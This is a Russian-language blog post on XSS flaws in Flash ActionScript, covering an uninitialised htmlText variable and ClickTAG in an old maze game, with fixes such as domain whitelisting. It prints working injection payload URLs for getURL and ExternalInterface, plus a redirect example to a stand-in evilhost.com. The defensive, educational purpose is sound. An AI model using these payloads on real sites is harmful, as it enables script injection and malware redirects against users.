Программирование в ActionScript


XSS в HtmlText и ClickTAG ActionScript

Когда-то давным давно, в прошлой жизни лет 10 тому назад, мне необходимо было написать простую Flash игру на ActionScript.

Программирование в ActionScript и XSSЦель для создания тестового приложения была очень простая. Показать базовый уровень знаний в ActionScript.

Задание оказалось тоже не сложное:
Создать лабиринт, и ограничить его прохождение одной минутой.
Естественно ни о какой безопасности речи тогда вообще не шло. В конце поста вы даже можете его попытаться пройти. 😀

Но статья будет немного о другом..

На днях я нашел скомпилированных файл той игры (исходник то уже и днем с огнем не сыщешь) и решил его просканировать HP SwfScan. Через несколько секунд появилось уведомление о уязвимой переменной, которая использовалась в текстовом поле swf файла.

Вектор атаки на такую переменную может выглядеть так:

httр://sites.com/game.swf?HtmlVariable=<a+href="javascript:alert(document.domain)">иди сюда, пожалуйста!</a>

или так:

httр://127.0.0.1/swftest/game.swf?HtmlVariable="><img src="httр://127.0.0.1/LoadXSS.swf">

Старая песня о главном

Главный виновник бага — переменная HtmlVariable, которая не была проинициализирована до ее использования. Переменную, не имеющую значение по умолчанию,  можно сравнить с мусорным ведром, в котором может находиться вообще все что угодно. Когда-то я уже об этом писал здесь.

И тут не трудно догадаться, что юзер может самостоятельно передать нужное ему значение в уязвимую переменную, и тем самым нарушить логику работы веб приложения.

В отдельных других случаях, рекомендуется использовать фильтр (поставить смотрящего за ведром), чтобы юзер, случайно не накидал туда своего мусора.

Не хочется лезть в дебри игры, поэтому приведу простой пример использования txtField.htmlText который формируется по нажатию на объектный символ кнопка:

on (release)
{
//var HtmlVariable = "Болт";
if (txtFieldExists == false)
{
this.createTextField("txtField", this.getNextHighestDepth(), 270, 270, 160, 22);
txtField.html = true;
txtFieldExists = true;
}
txtField.htmlText = HtmlVariable;
}

В конце поста вы сможете скачать скомпилированный swf файл для тестирования.

Точно такая же инициализация переменной ClickTAG внутри метода on (release){getUrl()} могла бы спасти отца русской демократии закрыть уязвимость FlashVar (ClickTAG).

Но дабы закончить начатое в предыдущей статье, хочется добавить еще несколько предложений по закрытию уязвимости в ClickTAG.

Все дело в том, что многие рекламодатели требуют использование переменной ClickTAG для собственной аналитики и ведения статистики кликов по swf баннерам.

Поэтому рекомендация в данном случае очень простая:

on (release)
{ if(ClickTAG.substr (0,19) == "http://allow.domen" || ClickTAG.substr (0,20) == "https://allow.domen"){
getURL(ClickTAG, "_blank");}
}

Это условие проследит за тем, чтобы юзер был доставлен именно туда, куда он собственно и планировал.

В коде некоторых баннеров достаточно популярных рекламных сетей присутствует примерно такая проверка:

btn_clickTag.onRelease = function ()
{
var __reg2 = _root.clickTAG.toLowerCase();
if (__reg2.indexOf("http://") == 0 || __reg2.indexOf("https://") == 0)
{
"_blank";
_root.clickTAG;
getURL(eval("/:clickTAG"), "_blank");
}
}
;

Да, она не позволит выполнить JavaScript код в контексте домена на котором располагается баннер, но с легкостью позволит злоумышленнику реализовать редирект, которых загрузит на компьютер пользователя вирус или любое другое вредоносное adware приложение, быстрее чем последний поймет: что вообще произошло?

sites.com/banner.swf?clicTAG=http://evilhost.com/evilscript

Вредоносная ссылка может находиться например в электронном письме от вашего хорошего знакомого, ведь вы же знаете, что подделать адрес отправителя электронной почты не так уж и сложно.

Ну и на последок (для общего развития) еще несколько векторов для getURL и flash.external.ExternalInterface.call, которые вы сможете протестировать в этом swf файле. Для начинающих программистов ActionScript, думаю будет очень полезно.

on (release)
{
getURL("javascript:eval(\'1\')", "", "GET");
}

banner.swf?3:3;alert(document.domain)//

on (release)
{
getURL("javascript:eval(\'" + escape(_root.ClickTAG) + "\')", "");
}

banner.swf?ClickTAG=');alert(1)//

banner.swf?ClickTAG=');function eval(a){}alert(document.domain)//

on (release)
{
if (externalInterfaceVar != undefined)
{
flash.external.ExternalInterface.call(_root.externalInterfaceVar);
}
}

test.swf?externalInterfaceVar=alert(1)

test.swf?externalInterfaceVar=(new Function("alert(document.domain)"))

И в заключении, моя первая (а интуиция мне подсказывает, что и скорее всего последняя) Flash игра лабиринт.

P.S. Лабиринт построен таким образом, что на его прохождение в среднем уходит 50-55 секунд. Для корректного завершения игры необходимо войти в «красный» домик! Для навигации используем стрелочки на клавиатуре. 😀